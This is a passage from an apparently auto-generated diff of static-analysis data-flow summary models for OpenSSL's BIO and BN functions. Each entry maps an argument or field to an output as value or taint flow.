"Argument[*0].Field[*brecvmmsg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_sendmmsg", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bsendmmsg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_write", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bwrite_old]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_get_write_ex", "(const BIO_METHOD *)", "", "Argument[*0].Field[*bwrite]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_new", "(int,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_new", "(int,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_new", "(int,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "BIO_meth_set_callback_ctrl", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*callback_ctrl]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_create", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*create]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_ctrl", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_destroy", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*destroy]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_gets", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bgets]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_puts", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bputs]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_read", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bread_old]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_read_ex", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bread]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_recvmmsg", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*brecvmmsg]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_sendmmsg", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bsendmmsg]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_write", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bwrite_old]", "value", "dfc-generated"] + - ["", "", True, "BIO_meth_set_write_ex", "(BIO_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bwrite]", "value", "dfc-generated"] + - ["", "", True, "BIO_method_name", "(const BIO *)", "", "Argument[*0].Field[**method].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_method_name", "(const BIO *)", "", "Argument[*0].Field[**method].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_method_type", "(const BIO *)", "", "Argument[*0].Field[**method].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_new", "(const BIO_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new", "(const BIO_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_CMS", "(BIO *,CMS_ContentInfo *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_CMS", "(BIO *,CMS_ContentInfo *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_NDEF", "(BIO *,ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_NDEF", "(BIO *,ASN1_VALUE *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_PKCS7", "(BIO *,PKCS7 *)", "", "Argument[*0]", "Argument[*0].Field[**prev_bio].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_PKCS7", "(BIO *,PKCS7 *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[*1]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_ex", "(OSSL_LIB_CTX *,const BIO_METHOD *)", "", "Argument[1]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[*1]", "ReturnValue[*].Field[**ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BIO_new_from_core_bio", "(OSSL_LIB_CTX *,OSSL_CORE_BIO *)", "", "Argument[1]", "ReturnValue[*].Field[*ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_next", "(BIO *)", "", "Argument[*0].Field[**next_bio]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "BIO_next", "(BIO *)", "", "Argument[*0].Field[*next_bio]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_number_read", "(BIO *)", "", "Argument[*0].Field[*num_read]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_number_written", "(BIO *)", "", "Argument[*0].Field[*num_write]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[*0]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[0]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BIO_parse_hostserv", "(const char *,char **,char **,BIO_hostserv_priorities)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "BIO_pop", "(BIO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BIO_pop", "(BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[0]", "Argument[*1].Field[*prev_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_push", "(BIO *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BIO_read_ex", "(BIO *,void *,size_t,size_t *)", "", "Argument[*3]", "Argument[*0].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "BIO_read_ex", "(BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*0].Field[*num_read]", "taint", "dfc-generated"] + - ["", "", True, "BIO_read_ex", "(BIO *,void *,size_t,size_t *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "BIO_set_callback", "(BIO *,BIO_callback_fn)", "", "Argument[1]", "Argument[*0].Field[*callback]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_callback_arg", "(BIO *,char *)", "", "Argument[*1]", "Argument[*0].Field[**cb_arg]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_callback_arg", "(BIO *,char *)", "", "Argument[1]", "Argument[*0].Field[*cb_arg]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_callback_ex", "(BIO *,BIO_callback_fn_ex)", "", "Argument[1]", "Argument[*0].Field[*callback_ex]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_data", "(BIO *,void *)", "", "Argument[**1]", "Argument[*0].Field[***ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_data", "(BIO *,void *)", "", "Argument[*1]", "Argument[*0].Field[**ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_data", "(BIO *,void *)", "", "Argument[1]", "Argument[*0].Field[*ptr]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_flags", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "BIO_set_init", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_next", "(BIO *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_next", "(BIO *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_retry_reason", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*retry_reason]", "value", "dfc-generated"] + - ["", "", True, "BIO_set_shutdown", "(BIO *,int)", "", "Argument[1]", "Argument[*0].Field[*shutdown]", "value", "dfc-generated"] + - ["", "", True, "BIO_snprintf", "(char *,size_t,const char *,...)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_snprintf", "(char *,size_t,const char *,...)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_snprintf", "(char *,size_t,const char *,...)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*0].Field[**next_bio].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*0].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*1].Field[**next_bio].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_copy_session_id", "(BIO *,BIO *)", "", "Argument[*1].Field[**next_bio]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_shutdown", "(BIO *)", "", "Argument[*0].Field[**next_bio].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_ssl_shutdown", "(BIO *)", "", "Argument[*0].Field[**next_bio]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_test_flags", "(const BIO *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_test_flags", "(const BIO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_vprintf", "(BIO *,const char *,va_list)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[*2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[*3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[2]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[3]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BIO_vsnprintf", "(char *,size_t,const char *,va_list)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "BN_BLINDING_convert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_convert_ex", "(BIGNUM *,BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*3]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[4]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[4]", "ReturnValue[*].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[5]", "Argument[*0].Field[*m_ctx]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_create_param", "(BN_BLINDING *,const BIGNUM *,BIGNUM *,BN_CTX *,..(*)(..),BN_MONT_CTX *)", "", "Argument[5]", "ReturnValue[*].Field[*m_ctx]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_get_flags", "(const BN_BLINDING *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_invert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert", "(BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_invert_ex", "(BIGNUM *,const BIGNUM *,BN_BLINDING *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_new", "(const BIGNUM *,const BIGNUM *,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_new", "(const BIGNUM *,const BIGNUM *,BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_new", "(const BIGNUM *,const BIGNUM *,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_BLINDING_set_flags", "(BN_BLINDING *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "BN_BLINDING_update", "(BN_BLINDING *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_CTX_get", "(BN_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_CTX_get", "(BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_CTX_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_CTX_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_CTX_secure_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_CTX_secure_new_ex", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_get_arg", "(BN_GENCB *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_GENCB_get_arg", "(BN_GENCB *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "BN_GENCB_get_arg", "(BN_GENCB *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cb].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[**2]", "Argument[*0].Field[***arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[*2]", "Argument[*0].Field[**arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[1]", "Argument[*0].Field[*cb].Union[*(unnamed class/struct/union)]", "value", "dfc-generated"] + - ["", "", True, "BN_GENCB_set_old", "(BN_GENCB *,..(*)(..),void *)", "", "Argument[2]", "Argument[*0].Field[*arg]", "value", "dfc-generated"] + - ["", "", True, "BN_GF2m_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[*0]", "Argument[*1].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[*0]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[*0]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[0]", "Argument[*1].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[0]", "Argument[*1].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_arr2poly", "(const int[],BIGNUM *)", "", "Argument[0]", "Argument[*1].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_arr", "(BIGNUM *,const BIGNUM *,const int[])", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_div", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*3]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*3]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[3]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_div_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[3]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_exp_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_inv", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_inv_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_mul_arr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2].Field[*top]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_solve_quad_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_sqr", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_sqr_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_GF2m_mod_sqrt", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_mod_sqrt_arr", "(BIGNUM *,const BIGNUM *,const int[],BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_GF2m_poly2arr", 